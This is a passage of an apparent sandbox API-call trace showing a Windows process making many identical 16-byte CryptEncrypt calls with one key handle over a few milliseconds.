CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.832] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.833] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.834] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.835] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.836] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.837] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.838] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.839] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, 